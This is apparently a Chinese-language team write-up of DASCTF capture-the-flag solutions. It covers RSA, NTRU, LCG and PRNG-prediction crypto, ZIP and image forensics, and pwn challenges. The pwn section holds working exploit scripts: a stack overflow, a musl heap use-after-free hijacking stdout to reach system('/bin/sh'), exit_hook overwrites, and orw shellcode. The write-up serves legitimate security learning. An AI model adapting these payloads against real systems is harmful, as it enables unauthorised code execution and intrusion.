p=a^{4} +s,q=a^{4}+t
$$
对e进行分解得到以下
P1 = 3
P1 = 7
P1 = 7
P2 = 19
P3 = 691
P4 = 5741
求出s,t的区间值,设置限制条件进行爆破出a,b
from hashlib import md5
import itertools
from tqdm import *
from functools import reduce
prod=lambda x,y:x*y
c=1
x=[ 3 , 7,7 , 19 , 691 , 5741]
## print(reduce(prod,x))
num=set()
for j in range(1,7):
for i in itertools.product(x,repeat=j):
p=c*reduce(prod,i)
if p.bit_length()==17:
num.add(p)
print(num)
import gmpy2,itertools
from tqdm import tqdm
e=11079917583
n=20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
data=[68229, 130599, 101577, 123823, 120561, 118161, 130321, 117649, 109079, 91903]
ab=int(gmpy2.iroot(n,4)[0])
data2=[ i for i in itertools.combinations(data,2)]
for s,t in tqdm(data2) :
if t*s!=e:
continue
var('a b')
f1=a*b==ab
f2=n==(ab**4)+a**4*s+b**4*r+r*s
tmp=solve([f1,f2],[a,b])
print(tmp)
print(s,t)
求出得到ab
a=47783641287938625512681830427927501009821495321018170621907812035456872958654
b=44416071018427916652440592614276227563515579156219730344722242565477265479486
s=120561
t=91903
已知abst可以求出p,q
得到之后,正常解就行
import gmpy2
from Crypto.Util.number import *
n = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
e = 11079917583
c = 13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766
D=[68229, 130599, 101577, 123823, 120561, 118161, 130321, 117649, 109079, 91903]
## for i in range(len(D)):
## for j in range(i+1,len(D)):
## r,s=D[i],D[j]
## print(r,s)
## ab=int(gmpy2.iroot(n,4)[0])
## var('a b')
## f1=a*b==ab
## f2=n==(ab**4)+a**4*s+b**4*r+r*s
## solve([f1,f2],[a,b])
a =47783641287938625512681830427927501009821495321018170621907812035456872958654
b = 44416071018427916652440592614276227563515579156219730344722242565477265479486
r,s=120561,91903
p=a**4+r
q=b**4+s
d=inverse(e//21,p-1)
m_21=pow(c,d,n)
e=21
P.<a>=PolynomialRing(Zmod(p),implementation='NTL')
f=a^e-m_21
mps=f.monic().roots()
for i in mps:
flag=long_to_bytes(int(i[0]))
if b'DASCTF' in flag:
print(flag)
## b'DASCTF{C0nsTruct!n9_Techn1qUe2_f0r_RSA_Pr1me_EnC2ypt10N}'
XOR贯穿始终
先核心价值观解码得到压缩包的密钥:C0ngr4tulati0n5_y0u_fou^d_m3
私钥文件base64解密再转16进制
参考(PKCS1) RSA 公私钥 pem 文件解析 - 知乎 (zhihu.com)
提取到n,p,q。然后就是常规解密。
解出来的结果和压缩包密钥异或一下才是真的flag。
exp:
from Crypto.Util.number import *
import gmpy2
n =
e = 0x10001
p =
q =
c = 91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(int(m)))
a = b'C0ngr4tulati0n5_y0u_fou^d_m3'
flag = long_to_bytes(bytes_to_long(a) ^ int(m))
print(flag)
MCeorpkpleer
- 恢复w、m后,利用序列的超递增性质解密得到e
- 已知p高位恢复p
- rsa解密得到flag
## SageMath
import libnum, gmpy2
pubkey = [18143710780782459577, 54431132342347378731, 163293397027042136193, 489880191081126408579, 1469640573243379225737, 4408921719730137677211, 13226765159190413031633, 39680295477571239094899, 119040886432713717284697, 357122659298141151854091, 1071367977894423455562273, 3214103933683270366686819, 9642311801049811100060457, 28926935403149433300181371, 86780806209448299900544113, 260342418628344899701632339, 781027255885034699104897017, 2343081767655104097314691051, 7029245302965312291944073153, 21087735908895936875832219459, 63263207726687810627496658377, 189789623180063431882489975131, 569368869540190295647469925393, 1708106608620570886942409776179, 601827224419797931380408071500, 1805481673259393794141224214500, 893952418336266652976851386463, 2681857255008799958930554159389, 3523079163584485147344841221130, 1524252287869625983140881149316, 50264262166963219975822190911, 150792786500889659927466572733, 452378359502668979782399718199, 1357135078508006939347199154597, 4071405235524020818041597463791, 3169230503688232995231149877299, 462706308180869526799807117823, 1388118924542608580399421353469, 4164356773627825741198264060407, 3448085117999647764701149667147, 1299270151115113835209806487367, 3897810453345341505629419462101, 2648446157152195057994615872229, 3422845870014670444537026359650, 1223552407160181874717436564876, 3670657221480545624152309694628, 1966986461557807413563286569810, 1378466783231507511243038452393, 4135400349694522533729115357179, 3361215846199738142293703557463, 1038662335715384967987468158315, 3115987007146154903962404474945, 302975818554635252993570910761, 908927455663905758980712732283, 2726782366991717276942138196849, 3657854499533237101379593333510, 1928578295715881845245137486456, 1263242285705730806288591202331, 3789726857117192418865773606993, 2324195368467747797703678306905, 2450093503961328663664213663678, 2827787910442071261545819733997, 3960871129884299055190637944954, 2837628186769067706678271320788]
en_e = 31087054322877663244023458448558
w = gcd(pubkey[0], pubkey[1])
assert is_prime(w)
list1 = [pow(3, i) for i in range(64)]
m = gcd(w*list1[-1]-pubkey[-1], w*list1[-2]-pubkey[-2])
assert is_prime(m)
en_e = en_e *inverse_mod(w,m) % m
e = ''
for each in list1[::-1]:
if en_e >= each:
e += '1'
en_e -= each
else:
e += '0'
e = int(e[::-1], 2)
p0 = 139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179655351110456639347861739783538289295071556484465877192913103980697449775104351723521120185802327587352171892429135110880845830815744
n = 22687275367292715121023165106670108853938361902298846206862771935407158965874027802803638281495587478289987884478175402963651345721058971675312390474130344896656045501040131613951749912121302307319667377206302623735461295814304029815569792081676250351680394603150988291840152045153821466137945680377288968814340125983972875343193067740301088120701811835603840224481300390881804176310419837493233326574694092344562954466888826931087463507145512465506577802975542167456635224555763956520133324723112741833090389521889638959417580386320644108693480886579608925996338215190459826993010122431767343984393826487197759618771
c = 156879727064293983713540449709354153986555741467040286464656817265584766312996642691830194777204718013294370729900795379967954637233360644687807499775502507899321601376211142933572536311131955278039722631021587570212889988642265055045777870448827343999745781892044969377246509539272350727171791700388478710290244365826497917791913803035343900620641430005143841479362493138179077146820182826098057144121231954895739989984846588790277051812053349488382941698352320246217038444944941841831556417341663611407424355426767987304941762716818718024107781873815837487744195004393262412593608463400216124753724777502286239464
kbit = 435
PR.<x> = PolynomialRing(Zmod(n))
f = p0+x
x = f.small_roots(X=2^kbit, beta=0.4)
p = p0+int(x[0])
q = n // p
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c, d, n))
print(libnum.n2s(m)) # DASCTF{T81I_tPPS_6r7g_xlPi_OO3M_6vyV_Rkba}
esyRSA
对于题目
from gmpy2 import invert
from md5 import md5
from secret import p, q
e = ?????
n = p*q
phi = (p-1)*(q-1)
d = invert(e, phi)
ans = gcd(e,phi)
print n, e, d
print "Flag: DASCTF{%s}" %md5(str(p + q)).hexdigest()
"""
n = 8064259277274639864655809758868795854117113170423331934498023294296505063511386001711751916634810056911517464467899780578338013011453082479880809823762824723657495915284790349150975180933698827382368698861967973964030509129133021116919437755292590841218316278732797712538885232908975173746394816520256585937380642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
d = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913
"""
发现n过长,且有明显重复。
根据题目代码,猜测题目有误,所以将n等分,前一半才为n。
于是,利用连分数获取k、e,即可恢复p+q
## Sage
from Crypto.Util.number import *
from gmpy2 import *
data1 = '8064259277274639864655809758868795854117113170423331934498023294296505063511386001711751916634810056911517464467899780578338013011453082479880809823762824723657495915284790349150975180933698827382368698861967973964030509129133021116919437755292590841218316278732797712538885232908975173746394816520256585937380642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373'
data2 = '14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913'
n = int(data1[:len(data2)])
d = int(data2)
c = continued_fraction(Integer(d) / Integer(n))
for i in range(1, 9000):
k = int(c.numerator(i)) # 分子
e = int(c.denominator(i))
if (e*d-1)%k==0:
print(k)
print(e)
tmp = ((k*n+1-e*d)//k) + 1
print('p + q =', tmp)
其中有
2384
13521
p + q = 18101966903197904104103274369549488558638013636328319260314053428770825687572755141919313812981523970938045930012152983362607947170555142776865084844865966
于是,z3求解出p、q,即可得到flag
from z3 import *
from hashlib import md5
n = 80642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
d = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913
p_add_q = 18101966903197904104103274369549488558638013636328319260314053428770825687572755141919313812981523970938045930012152983362607947170555142776865084844865966
S = Solver()
p = Int('p')
q = Int('q')
S.add(p * q == n)
S.add(p + q == p_add_q)
tmp = S.check()
print(tmp)
if tmp == sat:
roots = S.model()
p, q = int(str(roots[p])), int(str(roots[q]))
print("Flag: DASCTF{%s}" % md5(str(p + q).encode()).hexdigest()) # 4ae33bea90f030bfddb7ac4d9222ef8f
signiCrypto
## !/usr/bin/env python3.10
## -*- coding: utf-8 -*-
## @Time : 2023/9/2 10:13
## @Author : lingfeng
## @File : exp.py
from randcrack import RandCrack
from Crypto.Cipher import DES3
from Crypto.Util.number import *
import itertools,hashlib,string
from tqdm import *
xor=334648638865560142973669981316964458403
dig=0x62343937373634656339396239663236643437363738396663393438316230353665353733303939613830616662663633326463626431643139323130616333363363326631363235313661656632636265396134336361623833636165373964343533666537663934646239396462323666316236396232303539336438336234393737363465633939623966323664343736373839666339343831623035366535373330393961383061666266363332646362643164313932313061633336336332663136323531366165663263626539613433636162383363616537396434353366653766393464623939646232366631623639623230353933643833
hint2=22078953819177294945130027344
enc='a6546bd93bced0a8533a5039545a54d1fee647007df106612ba643ffae850e201e711f6e193f15d2124ab23b250bd6e1'
enc=bytes.fromhex(enc)
K1=b'dasctfda'
with open("task.txt","r") as f:
f=f.readlines()
data =[eval(i) for i in f]
data2=[]
for d in data[-312:]:
a,b=d&0xffff,(d>>16)&0xffff
data2.append(a)
data2.append(b)
rc=RandCrack()
for a,b in zip(data,data2):
t=(a<<16)+b
rc.submit(t)
K2 = long_to_bytes(rc.predict_getrandbits(64))
## IV1=long_to_bytes(hint2)[:4]
## digest1 = hashlib.sha512(IV1).digest().hex()
## for i in itertools.product(string.ascii_uppercase,repeat=4):
## IV2="".join(i).encode()
## digest2 = hashlib.sha512(IV2).digest().hex()
## digest = digest1 + digest2
## tmp=bytes_to_long((digest.encode()))
## if tmp==dig:
## print(IV2)#GWHT
## break
IV=B'GWHTGWHT'
mode = DES3.MODE_CBC
for i in range(256):
K3=b'DASCTF{'+chr(i).encode()
KEY = K1 + K2 + K3
des3 = DES3.new(KEY, mode, IV)
cipher = des3.decrypt(enc)
print(cipher)
Easy_3L
- NTRU模版题
- LCG模版题
## Sagemath
import libnum
p = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711
c = 20329058681057003355767546524327270876901063126285410163862577312957425318547938475645814390088863577141554443432653658287774537679738768993301095388221262144278253212238975358868925761055407920504398004143126310247822585095611305912801250788531962681592054588938446210412897150782558115114462054815460318533279921722893020563472010279486838372516063331845966834180751724227249589463408168677246991839581459878242111459287
S1 = 28572152986082018877402362001567466234043851789360735202177142484311397443337910028526704343260845684960897697228636991096551426116049875141
S2 = 1267231041216362976881495706209012999926322160351147349200659893781191687605978675590209327810284956626443266982499935032073788984220619657447889609681888
S4 = 9739918644806242673966205531575183334306589742344399829232076845951304871478438938119813187502023845332528267974698273405630514228632721928260463654612997
S5 = 9755668823764800147393276745829186812540710004256163127825800861195296361046987938775181398489372822667854079119037446327498475937494635853074634666112736
## 求解f, g
Ge = matrix(ZZ, [[1, h], [0, p]])
f, g = Ge.LLL()[0] # SVP
## 利用f, g求解m
f = abs(f)
g = abs(g)
c_ = (c*f)%p
S3 = c_*inverse_mod(f, g)%g
## LCG
s = [S1,S2,S3,S4,S5]
t = []
for i in range(len(s)):
t.append(s[i]-s[i-1])
all_n = []
for i in range(len(s)-2):
all_n.append(gcd((t[i+1]*t[i-1]-t[i]*t[i]), (t[i+2]*t[i]-t[i+1]*t[i+1])))
n=all_n[-1]
a=(s[2]-s[1])*inverse_mod((s[1]-s[0]),n)%n
ani=inverse_mod(a,n)
b=(s[1]-a*s[0])%n
m = (ani*(s[0]-b))%n
print(libnum.n2s(int(m))) # DASCTF{NTRU_L0G_a6e_S1mpLe}
MISC
Matryoshka
img镜像文件,可以用取证软件直接分析,导出三个文件:not_real_cat.jpg、encrypt和normal_rar.rar
winhex打开压缩包:
veracrypt挂载:
然后一个base32和一个维吉尼亚
ai和nia的交响曲
导出流量包,其中 upload 上传了一个图片,以及 flag2.zip
from PIL import Image
im = Image.open('./00000000.png')
width,height = im.size
bin = ''
for x in range(width):
for y in range(height):
r,g,b = im.getpixel((x,y))
if r > 127:
bin += '1'
else:
bin += '0'
with open('out.txt','w')as f:
f.write(bin)
## 尝试提取二进制
HINT:BV1wW4y1R7Jv&&FLAG1:@i_n1a_l0v3S_ 得到一个 BV号 和 flag1
flag2 解伪加密后 0宽解密
对应 bilibili 视频秒数解出 CAOCAOGAIFAN
@i_n1a_l0v3S_CAOCAOGAIFAN
ez_misc
这道题给了个图片,利用CRC爆破宽高后,得到宽高为138,修复完
010看后,其中有个PK文件,但是文件是错误的。
但是看到了有两个IEND尾巴,而且有很多的IDAT块,于是联想到是WMCTF2023中的一道类似的题目,是一个snipaste的一个cve,编号为CVE-2023-28303
可以直接工具一把梭,https://github.com/frankthetank-music/Acropalypse-Multi-Tool
值得注意的是,工具需要再root环境下进行,而且待处理的图片的CRC32值不能有问题
然后就可以得到flag了
Easy_VMDK
构建明文爆破
'/root/Desktop/bkcrack-1.5.0-Linux/bkcrack' -C '/root/Desktop/Easy_VMDK.zip' -c flag.vmdk -x 0 4B444D5601000000030000
bkcrack 1.5.0 - 2022-07-07
[05:35:27] Z reduction using 4 bytes of known plaintext
100.0 % (4 / 4)
[05:35:27] Attack on 1213356 Z values at index 6
Keys: e6a73d9f 21ccfdbc f3e0c61c
28.6 % (346741 / 1213356)
[05:43:30] Keys
e6a73d9f 21ccfdbc f3e0c61c
'/root/Desktop/bkcrack-1.5.0-Linux/bkcrack' -C '/root/Desktop/Easy_VMDK.zip' -c flag.vmdk -k e6a73d9f 21ccfdbc f3e0c61c -d out.zip
bkcrack 1.5.0 - 2022-07-07
[05:44:21] Writing deciphered data out.zip (maybe compressed)
Wrote deciphered data.
bandzip 打开有个 png2txt,360 打开就能显示 flag.zip 和 key.txt
写出解密代码
from PIL import Image
import base64
import binascii
with open("key.txt", "r") as f:
content = f.readlines()
height = 137
width = 2494
img_data = []
for line in content:
uu_byte = base64.b64decode(line.strip())
img_data.append(binascii.b2a_uu(uu_byte).decode().strip())
im = Image.new("RGB", (width, height), 'white')
for y in range(height):
for x in range(width):
pixel = tuple(map(int,img_data[y * width + x].split(', ')))
im.putpixel((x,y),pixel)
im.show()
GIFuck
times = ['240', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '360', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60',
...
]
strings = "+[->+<]>[->+<]>-[->+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+<]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]<+[->+<]>[->-<]>[-<+>]<+<+[->+<]>[->+<]>[->-<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]<+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>][->+<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+[->+<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>][->+<]>[-<+>]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>][->+<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+<+[->+<]>[->+<]>[->+<]>[-<+>]<+[->+<]>+.<+[->+<]>+.+.+.<+[->-<]>-.<+[->+<]>+.<+[->+<]>+.-.<+[->-<]>-.<+[->+<]>+.<+[->-<]>-.+.-.<+[->-<]>-.<+[->+<]>+.+.<+[->-<]>-.+.<+[->-<]>-.<+[->+<]>+.<+[->+<]>+.<+[->-<]>-.<+[->+<]>+.+.+.<+[->-<]>-.<+[->+<]>+.-.<+[->+<]>+.<+[->-<]>-.<+[->-<]>-.[-]<"
out = ''
for i in range(len(times)):
out += strings[i] * ((int(times[i]))//60)
print(out)
得到 brainfuck
将内存的16进制解码得到flag
DASCTF{Pen_Pineapple_Apple_Pen}
PWN
risky_login
from pwn import *
context(arch='riscv', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('tcp.cloud.dasctf.com', 28282)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def dbgg():
raw_input()
r.sendlineafter('Input ur name:\n', 'a')
p1 = b'a' * (0xf8 + 8) + p64(0x123456EE)
r.sendafter('words\n', p1)
r.sendline('cat fl*')
r.interactive()
cookieBox
musl pwn,libc版本为1.1.24。参考这篇文章了解musl libc的堆管理器分配规则。
uaf漏洞。
利用unbin在stdout上方伪造fake_chunk,劫持stdout结构体获取shell。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
fn = './cookieBox'
elf = ELF(fn)
libc = ELF('./libc.so')
debug = 1
if debug:
p = process(fn)
else:
p = remote('tcp.cloud.dasctf.com', 26753)
def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()
else:
pass
lg = lambda x, y: log.success(f'{x}: {hex(y)}')
def menu(index):
p.sendlineafter('>>', str(index))
def add(size, content='l1s000t'):
menu(1)
p.sendlineafter('input the size:', str(size))
p.sendlineafter('input the Content:', content)
def show(index):
menu(4)
p.sendlineafter('input the idx:', str(index))
def edit(index, content):
menu(3)
p.sendlineafter('input the idx:', str(index))
p.sendlineafter('input the content:', content)
def delete(index):
menu(2)
p.sendlineafter('input the idx:', str(index))
add(0x80) # 0
add(0x80) # 1
add(0x80) # 2
add(0x80) # 3
add(0x80) # 4
show(0)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)
libc_base = leak - 0x292e50
lg('libc_base', libc_base)
stdout = libc_base + 0x292300
mal_bin = libc_base + 0x292b20
system = libc_base + 0x42688
delete(1)
add(0x80) # 5
delete(1)
edit(5, p64(stdout - 0x20) + p64(stdout - 0x20))
add(0x80) # 6
delete(1)
edit(5, p64(mal_bin) + p64(stdout - 0x20))
add(0x80, p64(stdout - 0x20) + p64(mal_bin)) # 7
add(0x80) # 8
add(0x80) # 9
payload = b'a' * 0x10
payload += flat({
0: '/bin/sh\x00',
0x20: 1, # f->wpos
0x28: 1, # f->wend
0x30: system,
0x38: 0,
0x48: system # f->write
})
edit(9, payload)
p.interactive()
easy_vm
memory遗留了libc地址,劫持exit_hook为one_gadget。
##!/usr/bin/python
##encoding:utf-8
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
fn = './pwn'
elf = ELF(fn)
libc = elf.libc
debug = 1
if debug:
p = process(fn)
else:
p = remote('tcp.cloud.dasctf.com', 22083)
def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()
else:
pass
lg = lambda x, y: log.success(f'{x}: {hex(y)}')
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = gadgets[3]
libc_base_offset = 0x3c4b78
ld_base_offset = 0x3ca000
exit_hook_offset = 0x226f48
## dbg()
payload = p64(2)
payload += p64(7) + p64(libc_base_offset) # sub -> libc_base
payload += p64(6) + p64(one_gadget) # add -> one_gadget
payload += p64(1)
payload += p64(7) + p64(one_gadget) # sub -> libc_base
payload += p64(6) + p64(ld_base_offset)
payload += p64(6) + p64(exit_hook_offset)
payload += p64(3)
p.sendafter('your code:', payload)
p.interactive()
shellcode
程序一开始的时候可以输入两个字节,这里可以输入 syscall
指令。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_150B(a1, a2, a3);
puts("[0] The Joy Of Contsructing shellcode ~");
puts("[1] Are You Superstar In Ctfers?");
puts("[2] Input: (ye / no)");
read(0, buf, 2uLL);
if ( !strcmp(buf, "ye") )
puts("xxxx{xxxx_xxxx_xxxx_xxxx}");
else
sub_13A2(buf);
puts("[3] Bye~");
return 0LL;
}
利用脚本
##!/usr/bin/env python3
## -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('tcp.cloud.dasctf.com', 23583)
sh.sendafter(b'[2] Input: (ye / no)\n', asm('syscall'))
sh.sendafter(b'[5] ======== Input Your P0P Code ========\n', asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, b'Y'))
sh.send(b'\x90' * 0x12 + asm(
'''
sub rsp, 0x2000
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov rcx, 0x8000000000000000
add rdi, rcx
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov esi, 0
mov eax, 33
syscall ;// dup2
mov edi, 0
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
mov rcx, 0x8000000000000000
add rdi, rcx
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
'''))
sh.interactive()
heap
edit 存在条件竞争而导致的 Heap Overflow 漏洞。
void __fastcall edit(char *a1)
{
unsigned int v1; // [rsp+10h] [rbp-120h]
int length; // [rsp+14h] [rbp-11Ch]
const char *src; // [rsp+18h] [rbp-118h]
const char *srca; // [rsp+18h] [rbp-118h]
char dest[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+128h] [rbp-8h]
v6 = __readfsqword(0x28u);
src = strtok(a1, ":");
if ( src )
{
strcpy(a1, src);
srca = strtok(0LL, &byte_21DA);
if ( srca )
strcpy(dest, srca);
}
puts("The paper index loading");
v1 = atoi(a1);
length = ptr[v1]->length;
sleep(1u);
if ( v1 <= 0xF && ptr[v1] )
{
printf("paper index: %d\n", v1);
puts("Input the new paper content");
strncpy((char *)ptr[v1]->buf, dest, length);
puts("Done");
}
else
{
puts("Invalid paper index");
}
}
利用脚本
##!/usr/bin/env python3
## -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('tcp.cloud.dasctf.com', 21473)
def add(content):
sh.sendlineafter(b'Your chocie:\n\n', b'1 ' + content)
def edit(index, content):
sh.sendlineafter(b'Your chocie:\n\n', b'3 ' + str(index).encode() + b':' + content)
def delete(index):
sh.sendlineafter(b'Your chocie:\n\n', b'4 ' + str(index).encode())
def show(index):
sh.sendlineafter(b'Your chocie:\n\n', b'2 ' + str(index).encode())
add(b'a' * 0x63)
add(b'a' * 0x58)
add(b'a' * 0x58)
delete(1)
edit(0, b'b' * 0x60 + p16(0x8a0))
delete(0)
add(b'a' * 0x58)
sh.recvuntil(b'Input the new paper content')
sh.sendline(b'2 2')
sh.recvuntil(b'paper content: ')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219c80
success('libc_addr: ' + hex(libc_addr))
sh.sendline(b'1 ' + b'a' * 0x58)
add(b'c' * 0x68)
add(b'c' * 0x58)
add(b'c' * 0x58)
delete(4)
edit(3, b'd' * 0x60 + p64(libc_addr+0x21aa20))
delete(3)
add(b'c' * 0x58)
sh.recvuntil(b'Input the new paper content')
sh.sendline(b'2 5')
sh.recvuntil(b'paper content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0') - 0x160
success('stack_addr: ' + hex(stack_addr))
sh.sendline(b'1 ' + b'c' * 0x58)
add(b'd' * 0x68)
add(b'd' * 0x58)
add(b'e' * 0x58)
delete(7)
edit(6, b'e' * 0x60 + p64(stack_addr))
delete(6)
add(b'd' * 0x58)
edit(8, p64(libc_addr+0xebcf1))
sh.recvuntil(b'Input the new paper content')
sh.recvuntil(b'Input the new paper content')
time.sleep(1)
sh.sendline()
sh.interactive()